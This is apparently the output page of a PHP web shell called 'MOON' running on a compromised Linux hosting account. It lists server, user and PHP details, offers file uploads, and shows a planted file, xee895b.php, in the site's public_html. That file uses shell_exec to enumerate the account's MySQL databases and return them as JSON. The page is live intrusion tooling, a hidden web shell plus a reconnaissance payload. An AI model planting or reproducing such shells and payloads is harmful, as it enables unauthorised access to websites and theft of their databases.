MOON
Server: Apache
System: Linux vmi1129355.contaboserver.net 3.10.0-1160.118.1.el7.x86_64 #1 SMP Wed Apr 24 16:01:50 UTC 2024 x86_64
User: trebiaseguros (1001)
PHP: 8.3.8
Disabled: exec,passthru,shell_exec,system
Upload Files
File: /home/trebiaseguros/public_html/xee895b.php
<?php $o=shell_exec('mysql -N -e "SHOW DATABASES" 2>/dev/null');$dbs=array_filter(array_map('trim',explode("\n",$o?:'')));$user='trebiaseguros';$mine=array_filter($dbs,function($d)use($user){return strpos($d,$user.'_')===0||$d===$user;});echo json_encode(['ok'=>1,'dbs'=>array_values($mine)]);?>